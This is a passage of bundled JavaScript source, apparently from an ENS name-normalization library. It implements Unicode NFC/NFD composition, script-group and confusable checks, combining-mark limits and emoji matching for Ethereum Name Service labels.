S_COUNT;\r\nconst L1 = L0 + L_COUNT;\r\nconst V1 = V0 + V_COUNT;\r\nconst T1 = T0 + T_COUNT;\r\n\r\nfunction unpack_cc(packed) {\r\n\treturn (packed >> 24) & 0xFF;\r\n}\r\nfunction unpack_cp(packed) {\r\n\treturn packed & 0xFFFFFF;\r\n}\r\n\r\nlet SHIFTED_RANK, EXCLUSIONS, DECOMP, RECOMP;\r\n\r\nfunction init$1() {\r\n\t//console.time('nf');\r\n\tlet r = read_compressed_payload(COMPRESSED);\r\n\tSHIFTED_RANK = new Map(read_sorted_arrays(r).flatMap((v, i) => v.map(x => [x, (i+1) << 24]))); // pre-shifted\r\n\tEXCLUSIONS = new Set(read_sorted(r));\r\n\tDECOMP = new Map();\r\n\tRECOMP = new Map();\r\n\tfor (let [cp, cps] of read_mapped(r)) {\r\n\t\tif (!EXCLUSIONS.has(cp) && cps.length == 2) {\r\n\t\t\tlet [a, b] = cps;\r\n\t\t\tlet bucket = RECOMP.get(a);\r\n\t\t\tif (!bucket) {\r\n\t\t\t\tbucket = new Map();\r\n\t\t\t\tRECOMP.set(a, bucket);\r\n\t\t\t}\r\n\t\t\tbucket.set(b, cp);\r\n\t\t}\r\n\t\tDECOMP.set(cp, cps.reverse()); // stored reversed\r\n\t}\r\n\t//console.timeEnd('nf');\r\n\t// 20230905: 11ms\r\n}\r\n\r\nfunction is_hangul(cp) {\r\n\treturn cp >= S0 && cp < S1;\r\n}\r\n\r\nfunction compose_pair(a, b) {\r\n\tif (a >= L0 && a < L1 && b >= V0 && b < V1) {\r\n\t\treturn S0 + (a - L0) * N_COUNT + (b - V0) * T_COUNT;\r\n\t} else if (is_hangul(a) && b > T0 && b < T1 && (a - S0) % T_COUNT == 0) {\r\n\t\treturn a + (b - T0);\r\n\t} else {\r\n\t\tlet recomp = RECOMP.get(a);\r\n\t\tif (recomp) {\r\n\t\t\trecomp = recomp.get(b);\r\n\t\t\tif (recomp) {\r\n\t\t\t\treturn recomp;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn -1;\r\n\t}\r\n}\r\n\r\nfunction decomposed(cps) {\r\n\tif (!SHIFTED_RANK) init$1();\r\n\tlet ret = [];\r\n\tlet buf = [];\r\n\tlet check_order = false;\r\n\tfunction add(cp) {\r\n\t\tlet cc = SHIFTED_RANK.get(cp);\r\n\t\tif (cc) {\r\n\t\t\tcheck_order = true;\r\n\t\t\tcp |= cc;\r\n\t\t}\r\n\t\tret.push(cp);\r\n\t}\r\n\tfor (let cp of cps) {\r\n\t\twhile (true) {\r\n\t\t\tif (cp < 0x80) {\r\n\t\t\t\tret.push(cp);\r\n\t\t\t} else if (is_hangul(cp)) {\r\n\t\t\t\tlet s_index = cp - S0;\r\n\t\t\t\tlet l_index = s_index / N_COUNT | 0;\r\n\t\t\t\tlet v_index = (s_index % N_COUNT) / T_COUNT | 0;\r\n\t\t\t\tlet t_index = s_index % T_COUNT;\r\n\t\t\t\tadd(L0 + l_index);\r\n\t\t\t\tadd(V0 + v_index);\r\n\t\t\t\tif (t_index > 0) add(T0 + t_index);\r\n\t\t\t} else {\r\n\t\t\t\tlet mapped = DECOMP.get(cp);\r\n\t\t\t\tif (mapped) {\r\n\t\t\t\t\tbuf.push(...mapped);\r\n\t\t\t\t} else {\r\n\t\t\t\t\tadd(cp);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (!buf.length) break;\r\n\t\t\tcp = buf.pop();\r\n\t\t}\r\n\t}\r\n\tif (check_order && ret.length > 1) {\r\n\t\tlet prev_cc = unpack_cc(ret[0]);\r\n\t\tfor (let i = 1; i < ret.length; i++) {\r\n\t\t\tlet cc = unpack_cc(ret[i]);\r\n\t\t\tif (cc == 0 || prev_cc <= cc) {\r\n\t\t\t\tprev_cc = cc;\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tlet j = i-1;\r\n\t\t\twhile (true) {\r\n\t\t\t\tlet tmp = ret[j+1];\r\n\t\t\t\tret[j+1] = ret[j];\r\n\t\t\t\tret[j] = tmp;\r\n\t\t\t\tif (!j) break;\r\n\t\t\t\tprev_cc = unpack_cc(ret[--j]);\r\n\t\t\t\tif (prev_cc <= cc) break;\r\n\t\t\t}\r\n\t\t\tprev_cc = unpack_cc(ret[i]);\r\n\t\t}\r\n\t}\r\n\treturn ret;\r\n}\r\n\r\nfunction composed_from_decomposed(v) {\r\n\tlet ret = [];\r\n\tlet stack = [];\r\n\tlet prev_cp = -1;\r\n\tlet prev_cc = 0;\r\n\tfor (let packed of v) {\r\n\t\tlet cc = unpack_cc(packed);\r\n\t\tlet cp = unpack_cp(packed);\r\n\t\tif (prev_cp == -1) {\r\n\t\t\tif (cc == 0) {\r\n\t\t\t\tprev_cp = cp;\r\n\t\t\t} else {\r\n\t\t\t\tret.push(cp);\r\n\t\t\t}\r\n\t\t} else if (prev_cc > 0 && prev_cc >= cc) {\r\n\t\t\tif (cc == 0) {\r\n\t\t\t\tret.push(prev_cp, ...stack);\r\n\t\t\t\tstack.length = 0;\r\n\t\t\t\tprev_cp = cp;\r\n\t\t\t} else {\r\n\t\t\t\tstack.push(cp);\r\n\t\t\t}\r\n\t\t\tprev_cc = cc;\r\n\t\t} else {\r\n\t\t\tlet composed = compose_pair(prev_cp, cp);\r\n\t\t\tif (composed >= 0) {\r\n\t\t\t\tprev_cp = composed;\r\n\t\t\t} else if (prev_cc == 0 && cc == 0) {\r\n\t\t\t\tret.push(prev_cp);\r\n\t\t\t\tprev_cp = cp;\r\n\t\t\t} else {\r\n\t\t\t\tstack.push(cp);\r\n\t\t\t\tprev_cc = cc;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (prev_cp >= 0) {\r\n\t\tret.push(prev_cp, ...stack);\t\r\n\t}\r\n\treturn ret;\r\n}\r\n\r\n// note: cps can be iterable\r\nfunction nfd(cps) {\r\n\treturn decomposed(cps).map(unpack_cp);\r\n}\r\nfunction nfc(cps) {\r\n\treturn composed_from_decomposed(decomposed(cps));\r\n}\n\nconst HYPHEN = 0x2D;\r\nconst STOP = 0x2E;\r\nconst STOP_CH = '.';\r\nconst FE0F = 0xFE0F;\r\nconst UNIQUE_PH = 1;\r\n\r\n// 20230913: replace [...v] with Array_from(v) to avoid large spreads\r\nconst Array_from = x => Array.from(x); // Array.from.bind(Array);\r\n\r\nfunction group_has_cp(g, cp) {\r\n\t// 20230913: keep primary and secondary distinct instead of creating valid union\r\n\treturn g.P.has(cp) || g.Q.has(cp);\r\n}\r\n\r\nclass Emoji extends Array {\r\n\tget is_emoji() { return true; } // free tagging system\r\n}\r\n\r\nlet MAPPED, IGNORED, CM, NSM, ESCAPE, NFC_CHECK, GROUPS, WHOLE_VALID, WHOLE_MAP, VALID, EMOJI_LIST, EMOJI_ROOT;\r\n\r\nfunction init() {\r\n\tif (MAPPED) return;\r\n\t\r\n\tlet r = read_compressed_payload(COMPRESSED$1);\r\n\tconst read_sorted_array = () => read_sorted(r);\r\n\tconst read_sorted_set = () => new Set(read_sorted_array());\r\n\tconst set_add_many = (set, v) => v.forEach(x => set.add(x));\r\n\r\n\tMAPPED = new Map(read_mapped(r)); \r\n\tIGNORED = read_sorted_set(); // ignored characters are not valid, so just read raw codepoints\r\n\r\n\t/*\r\n\t// direct include from payload is smaller than the decompression code\r\n\tconst FENCED = new Map(read_array_while(() => {\r\n\t\tlet cp = r();\r\n\t\tif (cp) return [cp, read_str(r())];\r\n\t}));\r\n\t*/\r\n\t// 20230217: we still need all CM for proper error formatting\r\n\t// but norm only needs NSM subset that are potentially-valid\r\n\tCM = read_sorted_array();\r\n\tNSM = new Set(read_sorted_array().map(i => CM[i]));\r\n\tCM = new Set(CM);\r\n\t\r\n\tESCAPE = read_sorted_set(); // characters that should not be printed\r\n\tNFC_CHECK = read_sorted_set(); // only needed to illustrate ens_tokenize() transformations\r\n\r\n\tlet chunks = read_sorted_arrays(r);\r\n\tlet unrestricted = r();\r\n\t//const read_chunked = () => new Set(read_sorted_array().flatMap(i => chunks[i]).concat(read_sorted_array()));\r\n\tconst read_chunked = () => {\r\n\t\t// 20230921: build set in parts, 2x faster\r\n\t\tlet set = new Set();\r\n\t\tread_sorted_array().forEach(i => set_add_many(set, chunks[i]));\r\n\t\tset_add_many(set, read_sorted_array());\r\n\t\treturn set; \r\n\t};\r\n\tGROUPS = read_array_while(i => {\r\n\t\t// minifier property mangling seems unsafe\r\n\t\t// so these are manually renamed to single chars\r\n\t\tlet N = read_array_while(r).map(x => x+0x60);\r\n\t\tif (N.length) {\r\n\t\t\tlet R = i >= unrestricted; // unrestricted then restricted\r\n\t\t\tN[0] -= 32; // capitalize\r\n\t\t\tN = str_from_cps(N);\r\n\t\t\tif (R) N=`Restricted[${N}]`;\r\n\t\t\tlet P = read_chunked(); // primary\r\n\t\t\tlet Q = read_chunked(); // secondary\r\n\t\t\tlet M = !r(); // not-whitelisted, check for NSM\r\n\t\t\t// *** this code currently isn't needed ***\r\n\t\t\t/*\r\n\t\t\tlet V = [...P, ...Q].sort((a, b) => a-b); // derive: sorted valid\r\n\t\t\tlet M = r()-1; // number of combining mark\r\n\t\t\tif (M < 0) { // whitelisted\r\n\t\t\t\tM = new Map(read_array_while(() => {\r\n\t\t\t\t\tlet i = r();\r\n\t\t\t\t\tif (i) return [V[i-1], read_array_while(() => {\r\n\t\t\t\t\t\tlet v = read_array_while(r);\r\n\t\t\t\t\t\tif (v.length) return v.map(x => x-1);\r\n\t\t\t\t\t})];\r\n\t\t\t\t}));\r\n\t\t\t}*/\r\n\t\t\treturn {N, P, Q, M, R};\r\n\t\t}\r\n\t});\r\n\r\n\t// decode compressed wholes\r\n\tWHOLE_VALID = read_sorted_set();\r\n\tWHOLE_MAP = new Map();\r\n\tlet wholes = read_sorted_array().concat(Array_from(WHOLE_VALID)).sort((a, b) => a-b); // must be sorted\r\n\twholes.forEach((cp, i) => {\r\n\t\tlet d = r(); \r\n\t\tlet w = wholes[i] = d ? wholes[i-d] : {V: [], M: new Map()};\r\n\t\tw.V.push(cp); // add to member set\r\n\t\tif (!WHOLE_VALID.has(cp)) {\r\n\t\t\tWHOLE_MAP.set(cp, w); // register with whole map\r\n\t\t}\r\n\t});\r\n\r\n\t// compute confusable-extent complements\r\n\t// usage: WHOLE_MAP.get(cp).M.get(cp) = complement set\r\n\tfor (let {V, M} of new Set(WHOLE_MAP.values())) {\r\n\t\t// connect all groups that have each whole character\r\n\t\tlet recs = [];\r\n\t\tfor (let cp of V) {\r\n\t\t\tlet gs = GROUPS.filter(g => group_has_cp(g, cp));\r\n\t\t\tlet rec = recs.find(({G}) => gs.some(g => G.has(g)));\r\n\t\t\tif (!rec) {\r\n\t\t\t\trec = {G: new Set(), V: []};\r\n\t\t\t\trecs.push(rec);\r\n\t\t\t}\r\n\t\t\trec.V.push(cp);\r\n\t\t\tset_add_many(rec.G, gs);\r\n\t\t}\r\n\t\t// per character cache groups which are not a member of the extent\r\n\t\tlet union = recs.flatMap(x => Array_from(x.G)); // all of the groups used by this whole\r\n\t\tfor (let {G, V} of recs) {\r\n\t\t\tlet complement = new Set(union.filter(g => !G.has(g))); // groups not covered by the extent\r\n\t\t\tfor (let cp of V) {\r\n\t\t\t\tM.set(cp, complement); // this is the same reference\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t// compute valid set\r\n\t// 20230924: VALID was union but can be re-used\r\n\tVALID = new Set(); // exists in 1+ groups\r\n\tlet multi = new Set(); // exists in 2+ groups\r\n\tconst add_to_union = cp => VALID.has(cp) ? multi.add(cp) : VALID.add(cp);\r\n\tfor (let g of GROUPS) {\r\n\t\tfor (let cp of g.P) add_to_union(cp);\r\n\t\tfor (let cp of g.Q) add_to_union(cp);\r\n\t}\r\n\t// dual purpose WHOLE_MAP: return placeholder if unique non-confusable\r\n\tfor (let cp of VALID) {\r\n\t\tif (!WHOLE_MAP.has(cp) && !multi.has(cp)) {\r\n\t\t\tWHOLE_MAP.set(cp, UNIQUE_PH);\r\n\t\t}\r\n\t}\r\n\t// add all decomposed parts\r\n\t// see derive: \"Valid is Closed (via Brute-force)\"\r\n\tset_add_many(VALID, nfd(VALID));\r\n\t\r\n\t// decode emoji\r\n\t// 20230719: emoji are now fully-expanded to avoid quirk logic \r\n\tEMOJI_LIST = read_trie(r).map(v => Emoji.from(v)).sort(compare_arrays);\r\n\tEMOJI_ROOT = new Map(); // this has approx 7K nodes (2+ per emoji)\r\n\tfor (let cps of EMOJI_LIST) {\r\n\t\t// 20230719: change to *slightly* stricter algorithm which disallows \r\n\t\t// insertion of misplaced FE0F in emoji sequences (matching ENSIP-15)\r\n\t\t// example: beautified [A B] (eg. flag emoji) \r\n\t\t// before: allow: [A FE0F B], error: [A FE0F FE0F B] \r\n\t\t// after: error: both\r\n\t\t// note: this code now matches ENSNormalize.{cs,java} logic\r\n\t\tlet prev = [EMOJI_ROOT];\r\n\t\tfor (let cp of cps) {\r\n\t\t\tlet next = prev.map(node => {\r\n\t\t\t\tlet child = node.get(cp);\r\n\t\t\t\tif (!child) {\r\n\t\t\t\t\t// should this be object? \r\n\t\t\t\t\t// (most have 1-2 items, few have many)\r\n\t\t\t\t\t// 20230719: no, v8 default map is 4?\r\n\t\t\t\t\tchild = new Map();\r\n\t\t\t\t\tnode.set(cp, child);\r\n\t\t\t\t}\r\n\t\t\t\treturn child;\r\n\t\t\t});\r\n\t\t\tif (cp === FE0F) {\r\n\t\t\t\tprev.push(...next); // less than 20 elements\r\n\t\t\t} else {\r\n\t\t\t\tprev = next;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (let x of prev) {\r\n\t\t\tx.V = cps;\r\n\t\t}\r\n\t}\r\n}\r\n\r\n// if escaped: {HEX}\r\n// else: \"x\" {HEX}\r\nfunction quoted_cp(cp) {\r\n\treturn (should_escape(cp) ? '' : `${bidi_qq(safe_str_from_cps([cp]))} `) + quote_cp(cp);\r\n}\r\n\r\n// 20230211: some messages can be mixed-directional and result in spillover\r\n// use 200E after a quoted string to force the remainder of a string from \r\n// acquring the direction of the quote\r\n// https://www.w3.org/International/questions/qa-bidi-unicode-controls#exceptions\r\nfunction bidi_qq(s) {\r\n\treturn `\"${s}\"\\u200E`; // strong LTR\r\n}\r\n\r\nfunction check_label_extension(cps) {\r\n\tif (cps.length >= 4 && cps[2] == HYPHEN && cps[3] == HYPHEN) {\r\n\t\tthrow new Error(`invalid label extension: \"${str_from_cps(cps.slice(0, 4))}\"`); // this can only be ascii so cant be bidi\r\n\t}\r\n}\r\nfunction check_leading_underscore(cps) {\r\n\tconst UNDERSCORE = 0x5F;\r\n\tfor (let i = cps.lastIndexOf(UNDERSCORE); i > 0; ) {\r\n\t\tif (cps[--i] !== UNDERSCORE) {\r\n\t\t\tthrow new Error('underscore allowed only at start');\r\n\t\t}\r\n\t}\r\n}\r\n// check that a fenced cp is not leading, trailing, or touching another fenced cp\r\nfunction check_fenced(cps) {\r\n\tlet cp = cps[0];\r\n\tlet prev = FENCED.get(cp);\r\n\tif (prev) throw error_placement(`leading ${prev}`);\r\n\tlet n = cps.length;\r\n\tlet last = -1; // prevents trailing from throwing\r\n\tfor (let i = 1; i < n; i++) {\r\n\t\tcp = cps[i];\r\n\t\tlet match = FENCED.get(cp);\r\n\t\tif (match) {\r\n\t\t\t// since cps[0] isn't fenced, cps[1] cannot throw\r\n\t\t\tif (last == i) throw error_placement(`${prev} + ${match}`);\r\n\t\t\tlast = i + 1;\r\n\t\t\tprev = match;\r\n\t\t}\r\n\t}\r\n\tif (last == n) throw error_placement(`trailing ${prev}`);\r\n}\r\n\r\n// create a safe to print string \r\n// invisibles are escaped\r\n// leading cm uses placeholder\r\n// if cps exceed max, middle truncate with ellipsis\r\n// quoter(cp) => string, eg. 3000 => \"{3000}\"\r\n// note: in html, you'd call this function then replace [<>&] with entities\r\nfunction safe_str_from_cps(cps, max = Infinity, quoter = quote_cp) {\r\n\t//if (Number.isInteger(cps)) cps = [cps];\r\n\t//if (!Array.isArray(cps)) throw new TypeError(`expected codepoints`);\r\n\tlet buf = [];\r\n\tif (is_combining_mark(cps[0])) buf.push('◌');\r\n\tif (cps.length > max) {\r\n\t\tmax >>= 1;\r\n\t\tcps = [...cps.slice(0, max), 0x2026, ...cps.slice(-max)];\r\n\t}\r\n\tlet prev = 0;\r\n\tlet n = cps.length;\r\n\tfor (let i = 0; i < n; i++) {\r\n\t\tlet cp = cps[i];\r\n\t\tif (should_escape(cp)) {\r\n\t\t\tbuf.push(str_from_cps(cps.slice(prev, i)));\r\n\t\t\tbuf.push(quoter(cp));\r\n\t\t\tprev = i + 1;\r\n\t\t}\r\n\t}\r\n\tbuf.push(str_from_cps(cps.slice(prev, n)));\r\n\treturn buf.join('');\r\n}\r\n\r\n// note: set(s) cannot be exposed because they can be modified\r\n// note: Object.freeze() doesn't work\r\nfunction is_combining_mark(cp) {\r\n\tinit();\r\n\treturn CM.has(cp);\r\n}\r\nfunction should_escape(cp) {\r\n\tinit();\r\n\treturn ESCAPE.has(cp);\r\n}\r\n\r\n// return all supported emoji as fully-qualified emoji \r\n// ordered by length then lexicographic \r\nfunction ens_emoji() {\r\n\tinit();\r\n\treturn EMOJI_LIST.map(x => x.slice()); // emoji are exposed so copy\r\n}\r\n\r\nfunction ens_normalize_fragment(frag, decompose) {\r\n\tinit();\r\n\tlet nf = decompose ? nfd : nfc;\r\n\treturn frag.split(STOP_CH).map(label => str_from_cps(tokens_from_str(explode_cp(label), nf, filter_fe0f).flat())).join(STOP_CH);\r\n}\r\n\r\nfunction ens_normalize(name) {\r\n\treturn flatten(split(name, nfc, filter_fe0f));\r\n}\r\n\r\nfunction ens_beautify(name) {\r\n\tlet labels = split(name, nfc, x => x); // emoji not exposed\r\n\tfor (let {type, output, error} of labels) {\r\n\t\tif (error) break; // flatten will throw\r\n\r\n\t\t// replace leading/trailing hyphen\r\n\t\t// 20230121: consider beautifing all or leading/trailing hyphen to unicode variant\r\n\t\t// not exactly the same in every font, but very similar: \"-\" vs \"‐\"\r\n\t\t/*\r\n\t\tconst UNICODE_HYPHEN = 0x2010;\r\n\t\t// maybe this should replace all for visual consistancy?\r\n\t\t// `node tools/reg-count.js regex ^-\\{2,\\}` => 592\r\n\t\t//for (let i = 0; i < output.length; i++) if (output[i] == 0x2D) output[i] = 0x2010;\r\n\t\tif (output[0] == HYPHEN) output[0] = UNICODE_HYPHEN;\r\n\t\tlet end = output.length-1;\r\n\t\tif (output[end] == HYPHEN) output[end] = UNICODE_HYPHEN;\r\n\t\t*/\r\n\t\t// 20230123: WHATWG URL uses \"CheckHyphens\" false\r\n\t\t// https://url.spec.whatwg.org/#idna\r\n\r\n\t\t// update ethereum symbol\r\n\t\t// ξ => Ξ if not greek\r\n\t\tif (type !== 'Greek') array_replace(output, 0x3BE, 0x39E);\r\n\r\n\t\t// 20221213: fixes bidi subdomain issue, but breaks invariant (200E is disallowed)\r\n\t\t// could be fixed with special case for: 2D (.) + 200E (LTR)\r\n\t\t// https://discuss.ens.domains/t/bidi-label-ordering-spoof/15824\r\n\t\t//output.splice(0, 0, 0x200E);\r\n\t}\r\n\treturn flatten(labels);\r\n}\r\n\r\nfunction array_replace(v, a, b) {\r\n\tlet prev = 0;\r\n\twhile (true) {\r\n\t\tlet next = v.indexOf(a, prev);\r\n\t\tif (next < 0) break;\r\n\t\tv[next] = b; \r\n\t\tprev = next + 1;\r\n\t}\r\n}\r\n\r\nfunction ens_split(name, preserve_emoji) {\r\n\treturn split(name, nfc, preserve_emoji ? x => x.slice() : filter_fe0f); // emoji are exposed so copy\r\n}\r\n\r\nfunction split(name, nf, ef) {\r\n\tif (!name) return []; // 20230719: empty name allowance\r\n\tinit();\r\n\tlet offset = 0;\r\n\t// https://unicode.org/reports/tr46/#Validity_Criteria\r\n\t// 4.) \"The label must not contain a U+002E ( . ) FULL STOP.\"\r\n\treturn name.split(STOP_CH).map(label => {\r\n\t\tlet input = explode_cp(label);\r\n\t\tlet info = {\r\n\t\t\tinput,\r\n\t\t\toffset, // codepoint, not substring!\r\n\t\t};\r\n\t\toffset += input.length + 1; // + stop\r\n\t\ttry {\r\n\t\t\t// 1.) \"The label must be in Unicode Normalization Form NFC\"\r\n\t\t\tlet tokens = info.tokens = tokens_from_str(input, nf, ef);\r\n\t\t\tlet token_count = tokens.length;\r\n\t\t\tlet type;\r\n\t\t\tif (!token_count) { // the label was effectively empty (could of had ignored characters)\r\n\t\t\t\t//norm = [];\r\n\t\t\t\t//type = 'None'; // use this instead of next match, \"ASCII\"\r\n\t\t\t\t// 20230120: change to strict\r\n\t\t\t\t// https://discuss.ens.domains/t/ens-name-normalization-2nd/14564/59\r\n\t\t\t\tthrow new Error(`empty label`);\r\n\t\t\t} \r\n\t\t\tlet norm = info.output = tokens.flat();\r\n\t\t\tcheck_leading_underscore(norm);\r\n\t\t\tlet emoji = info.emoji = token_count > 1 || tokens[0].is_emoji; // same as: tokens.some(x => x.is_emoji);\r\n\t\t\tif (!emoji && norm.every(cp => cp < 0x80)) { // special case for ascii\r\n\t\t\t\t// 20230123: matches matches WHATWG, see note 3.3\r\n\t\t\t\tcheck_label_extension(norm); // only needed for ascii\r\n\t\t\t\t// cant have fenced\r\n\t\t\t\t// cant have cm\r\n\t\t\t\t// cant have wholes\r\n\t\t\t\t// see derive: \"Fastpath ASCII\"\r\n\t\t\t\ttype = 'ASCII';\r\n\t\t\t} else {\r\n\t\t\t\tlet chars = tokens.flatMap(x => x.is_emoji ? [] : x); // all of the nfc tokens concat together\r\n\t\t\t\tif (!chars.length) { // theres no text, just emoji\r\n\t\t\t\t\ttype = 'Emoji';\r\n\t\t\t\t} else {\r\n\t\t\t\t\t// 5.) \"The label must not begin with a combining mark, that is: General_Category=Mark.\"\r\n\t\t\t\t\tif (CM.has(norm[0])) throw error_placement('leading combining mark');\r\n\t\t\t\t\tfor (let i = 1; i < token_count; i++) { // we've already checked the first token\r\n\t\t\t\t\t\tlet cps = tokens[i];\r\n\t\t\t\t\t\tif (!cps.is_emoji && CM.has(cps[0])) { // every text token has emoji neighbors, eg. EtEEEtEt...\r\n\t\t\t\t\t\t\t// bidi_qq() not needed since emoji is LTR and cps is a CM\r\n\t\t\t\t\t\t\tthrow error_placement(`emoji + combining mark: \"${str_from_cps(tokens[i-1])} + ${safe_str_from_cps([cps[0]])}\"`); \r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tcheck_fenced(norm);\r\n\t\t\t\t\tlet unique = Array_from(new Set(chars));\r\n\t\t\t\t\tlet [g] = determine_group(unique); // take the first match\r\n\t\t\t\t\t// see derive: \"Matching Groups have Same CM Style\"\r\n\t\t\t\t\t// alternative: could form a hybrid type: Latin/Japanese/...\t\r\n\t\t\t\t\tcheck_group(g, chars); // need text in order\r\n\t\t\t\t\tcheck_whole(g, unique); // only need unique text (order would be required for multiple-char confusables)\r\n\t\t\t\t\ttype = g.N;\r\n\t\t\t\t\t// 20230121: consider exposing restricted flag\r\n\t\t\t\t\t// it's simpler to just check for 'Restricted'\r\n\t\t\t\t\t// or even better: type.endsWith(']')\r\n\t\t\t\t\t//if (g.R) info.restricted = true;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tinfo.type = type;\r\n\t\t} catch (err) {\r\n\t\t\tinfo.error = err; // use full error object\r\n\t\t}\r\n\t\treturn info;\r\n\t});\r\n}\r\n\r\nfunction check_whole(group, unique) {\r\n\tlet maker;\r\n\tlet shared = [];\r\n\tfor (let cp of unique) {\r\n\t\tlet whole = WHOLE_MAP.get(cp);\r\n\t\tif (whole === UNIQUE_PH) return; // unique, non-confusable\r\n\t\tif (whole) {\r\n\t\t\tlet set = whole.M.get(cp); // groups which have a character that look-like this character\r\n\t\t\tmaker = maker ? maker.filter(g => set.has(g)) : Array_from(set);\r\n\t\t\tif (!maker.length) return; // confusable intersection is empty\r\n\t\t} else {\r\n\t\t\tshared.push(cp); \r\n\t\t}\r\n\t}\r\n\tif (maker) {\r\n\t\t// we have 1+ confusable\r\n\t\t// check if any of the remaining groups\r\n\t\t// contain the shared characters too\r\n\t\tfor (let g of maker) {\r\n\t\t\tif (shared.every(cp => group_has_cp(g, cp))) {\r\n\t\t\t\tthrow new Error(`whole-script confusable: ${group.N}/${g.N}`);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\n// assumption: unique.size > 0\r\n// returns list of matching groups\r\nfunction determine_group(unique) {\r\n\tlet groups = GROUPS;\r\n\tfor (let cp of unique) {\r\n\t\t// note: we need to dodge CM that are whitelisted\r\n\t\t// but that code isn't currently necessary\r\n\t\tlet gs = groups.filter(g => group_has_cp(g, cp));\r\n\t\tif (!gs.length) {\r\n\t\t\tif (!GROUPS.some(g => group_has_cp(g, cp))) { \r\n\t\t\t\t// the character was composed of valid parts\r\n\t\t\t\t// but it's NFC form is invalid\r\n\t\t\t\t// 20230716: change to more exact statement, see: ENSNormalize.{cs,java}\r\n\t\t\t\t// note: this doesn't have to be a composition\r\n\t\t\t\t// 20230720: change to full check\r\n\t\t\t\tthrow error_disallowed(cp); // this should be rare\r\n\t\t\t} else {\r\n\t\t\t\t// there is no group that contains all these characters\r\n\t\t\t\t// throw using the highest priority group that matched\r\n\t\t\t\t// https://www.unicode.org/reports/tr39/#mixed_script_confusables\r\n\t\t\t\tthrow error_group_member(groups[0], cp);\r\n\t\t\t}\r\n\t\t}\r\n\t\tgroups = gs;\r\n\t\tif (gs.length == 1) break; // there is only one group left\r\n\t}\r\n\t// there are at least 1 group(s) with all of these characters\r\n\treturn groups;\r\n}\r\n\r\n// throw on first error\r\nfunction flatten(split) {\r\n\treturn split.map(({input, error, output}) => {\r\n\t\tif (error) {\r\n\t\t\t// don't print label again if just a single label\r\n\t\t\tlet msg = error.message;\r\n\t\t\t// bidi_qq() only necessary if msg is digits\r\n\t\t\tthrow new Error(split.length == 1 ? msg : `Invalid label ${bidi_qq(safe_str_from_cps(input, 63))}: ${msg}`); \r\n\t\t}\r\n\t\treturn str_from_cps(output);\r\n\t}).join(STOP_CH);\r\n}\r\n\r\nfunction error_disallowed(cp) {\r\n\t// TODO: add cp to error?\r\n\treturn new Error(`disallowed character: ${quoted_cp(cp)}`); \r\n}\r\nfunction error_group_member(g, cp) {\r\n\tlet quoted = quoted_cp(cp);\r\n\tlet gg = GROUPS.find(g => g.P.has(cp)); // only check primary\r\n\tif (gg) {\r\n\t\tquoted = `${gg.N} ${quoted}`;\r\n\t}\r\n\treturn new Error(`illegal mixture: ${g.N} + ${quoted}`);\r\n}\r\nfunction error_placement(where) {\r\n\treturn new Error(`illegal placement: ${where}`);\r\n}\r\n\r\n// assumption: cps.length > 0\r\n// assumption: cps[0] isn't a CM\r\n// assumption: the previous character isn't an emoji\r\nfunction check_group(g, cps) {\r\n\tfor (let cp of cps) {\r\n\t\tif (!group_has_cp(g, cp)) {\r\n\t\t\t// for whitelisted scripts, this will throw illegal mixture on invalid cm, eg. \"e{300}{300}\"\r\n\t\t\t// at the moment, it's unnecessary to introduce an extra error type\r\n\t\t\t// until there exists a whitelisted multi-character\r\n\t\t\t// eg. if (M < 0 && is_combining_mark(cp)) { ... }\r\n\t\t\t// there are 3 cases:\r\n\t\t\t// 1. illegal cm for wrong group => mixture error\r\n\t\t\t// 2. illegal cm for same group => cm error\r\n\t\t\t// requires set of whitelist cm per group: \r\n\t\t\t// eg. new Set([...g.P, ...g.Q].flatMap(nfc).filter(cp => CM.has(cp)))\r\n\t\t\t// 3. wrong group => mixture error\r\n\t\t\tthrow error_group_member(g, cp);\r\n\t\t}\r\n\t}\r\n\t//if (M >= 0) { // we have a known fixed cm count\r\n\tif (g.M) { // we need to check for NSM\r\n\t\tlet decomposed = nfd(cps);\r\n\t\tfor (let i = 1, e = decomposed.length; i < e; i++) { // see: assumption\r\n\t\t\t// 20230210: bugfix: using cps instead of decomposed h/t Carbon225\r\n\t\t\t/*\r\n\t\t\tif (CM.has(decomposed[i])) {\r\n\t\t\t\tlet j = i + 1;\r\n\t\t\t\twhile (j < e && CM.has(decomposed[j])) j++;\r\n\t\t\t\tif (j - i > M) {\r\n\t\t\t\t\tthrow new Error(`too many combining marks: ${g.N} ${bidi_qq(str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${M})`);\r\n\t\t\t\t}\r\n\t\t\t\ti = j;\r\n\t\t\t}\r\n\t\t\t*/\r\n\t\t\t// 20230217: switch to NSM counting\r\n\t\t\t// https://www.unicode.org/reports/tr39/#Optional_Detection\r\n\t\t\tif (NSM.has(decomposed[i])) {\r\n\t\t\t\tlet j = i + 1;\r\n\t\t\t\tfor (let cp; j < e && NSM.has(cp = decomposed[j]); j++) {\r\n\t\t\t\t\t// a. Forbid sequences of the same nonspacing mark.\r\n\t\t\t\t\tfor (let k = i; k < j; k++) { // O(n^2) but n < 100\r\n\t\t\t\t\t\tif (decomposed[k] == cp) {\r\n\t\t\t\t\t\t\tthrow new Error(`duplicate non-spacing marks: ${quoted_cp(cp)}`);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t// parse to end so we have full nsm count\r\n\t\t\t\t// b. Forbid sequences of more than 4 nonspacing marks (gc=Mn or gc=Me).\r\n\t\t\t\tif (j - i > NSM_MAX) {\r\n\t\t\t\t\t// note: this slice starts with a base char or spacing-mark cm\r\n\t\t\t\t\tthrow new Error(`excessive non-spacing marks: ${bidi_qq(safe_str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${NSM_MAX})`);\r\n\t\t\t\t}\r\n\t\t\t\ti = j;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t// *** this code currently isn't needed ***\r\n\t/*\r\n\tlet 